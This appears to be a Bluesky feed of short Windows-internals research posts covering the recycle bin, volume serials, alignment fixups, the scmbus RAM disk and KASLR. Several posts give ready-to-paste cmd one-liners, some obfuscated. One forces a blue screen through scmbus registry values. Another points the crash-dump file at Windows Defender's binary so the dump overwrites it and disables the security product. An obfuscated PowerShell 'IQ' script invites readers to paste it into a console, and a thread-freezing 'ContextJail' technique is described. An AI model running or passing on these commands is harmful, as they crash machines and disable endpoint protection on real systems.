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sixtyvividtails.bsky.social
sixtyvividtails
@sixtyvividtails.bsky.social
probably not a mimic
Error you may randomly get anytime you delete stuff: błąd 0x80070050.
Nevermind the shellful bin and Shellberus the dog (recycler shell32 dev).

Error is due to rnd name generation for the bin: $R[A-Z0-9]{6}<.ext>.
Deleting 2 files: 36⁻⁶ ≈ 2⁻³¹ fail chance.
🎈Birthday paradox: 50% 🎲 for 54933 files.
August 30, 2025 at 9:00 PM
What is Volume Serial Number (aka VolId/VolumeId)?
For ntfs it's 64 bits at offset +0x48 from the volume start (in the $Boot file).
You see its lower dword with "dir C:".

But how it's calculated? Is it good for #DFIR?
👉 It's just a weak hash over 429.5 seconds of system time.
August 23, 2025 at 10:46 PM
Finally, a script to estimate IQ of your PC!
Copypaste it into powershell console, get instant result!

$9={[Runtime.InteropServices.Marshal]::
ReadInt64(1TB-64MB-+-$args[0]-shr9)};`
(&$9 4KB)/(&$9 (900.9MB/9.9/7-shr5))/`
25/(&$9)*(2L-shl55)

Is your PC smart?
Can you deduce what is that metric?
August 1, 2025 at 3:57 PM
Windows can seamlessly patch your code when it catches #GP. So called "alignment fixup".

KiOpPatchCode modifies user code: movaps->movups, movdqa->movdqu.

Needs x64 code, and opt-in: SetErrorMode(SEM_NOALIGNMENTFAULTEXCEPT), or ProcessEnableAlignmentFaultFixup, or ThreadEnableAlignmentFaultFixup.
June 23, 2025 at 11:05 PM
…or #bsod instead:

cmd /v/k"set A=A&(for /L %i in (1,1,9)do set A=!A!!A!)&set R=reg add HKLM\SYSTEM\CurrentControlSet\Services\scmbus /f /t 3 /v &!R!ForceReadCachedLabels /d C!A!B!A!1&(for %v in (EnableLabelCache CreateSimulatedRamdiskRootDevice RamdiskSizeInBytes)do !R!%v /d DAC5)&sc start scmbus"
June 16, 2025 at 4:10 PM
Did you know Windows has built-in RAM disk?
And not just your regular RAM disk. It's pmem/nvdimm, via built-in scmbus.sys facility!

That means you can make 🦆🦆🦆 #dax volume, so data/image mappings (section views) will use "drive" directly!
No data persistence, no w10; only ws2022/w11+. EZ 📀 create:
June 15, 2025 at 12:23 PM
There are lots of misoptimisations in the OS kernel with /dynamicValueFixupSym.

E.g. index check for SK PFN db — is it "cmp rcx, 0x07FF'FFFF'FFFF>>3"? Size is constant after all.

Nope. Gotta load SKMM_PFN_DATABASE_END, SKMM_PFN_DATABASE, sub, shift, etc — dozens of extra instr, in a lot of places.
June 1, 2025 at 6:15 PM
Heard of #ContextJail?
It's a nasty new technique: puts target thread into ⓪ deadloop, for as long as you can afford. Requires THREAD_GET_CONTEXT right.

The gist? Just spam NtGetContextThread(tgt).😸
Target will be jailed, running nt!PspGetSetContextSpecialApc 🔁.

Src & binary in [ALT].

Usecases: ⤵️
May 6, 2025 at 10:06 PM
Kernel VA region for system images has size 512_GB (256_TB LA57).
And nt!MiAssignTopLevelRanges shuffles regions order before VA assignment.

So why is ntoskrnl always in the first 31_GB from 0xFFFF_FF80_0000_0000?!

That's just how winload.efi randomizes MmArchKsegBias.

#KASLR #0xFFFFFF8000000000
April 16, 2025 at 12:53 AM
Is your EDR a dump?
With crashdmp it literally is:

cmd /v/c "set R=reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /f /v&!R! CrashDumpEnabled /d ୭ /t ൪&!R! DumpFileSize /d ൬৬६ /t ៤&for /f "delims=*" %i in ('sc qc WinDefend^|find "PATH_"')do (set t=%i&!R! DedicatedDumpFile /d !t:~๒੯,-១!)"
February 12, 2025 at 12:41 AM
24H2 has reduced KiCyclesPerClockQuantum by a factor of 6 - from ~(15.625/3) ms to ~(15.625/18) ms.
But QuantumReset compute changed too, so final revise is not so drastic. Was: 31.25 to 93.75 ms; now: 15.625 to 31.25 ms, yet min is 1.74 ms.

But WTF: clock interrupts every 2 ms across *each* CPU!
February 3, 2025 at 7:18 AM
Top research!
As for "no one can exec POC six times", lookasides EZ find: map ksecdd, scan for 2 close FF15 w/ same rip-rel offset => to "..ExDeleteLookasideListEx"; use offset from "lea".

Alt: grow depth 4 => 0x100 via NNN LA allocs w/ other ioctl (39006A?) [nt!ExpScanGeneralLookasideList N*3s].
November 12, 2024 at 8:51 PM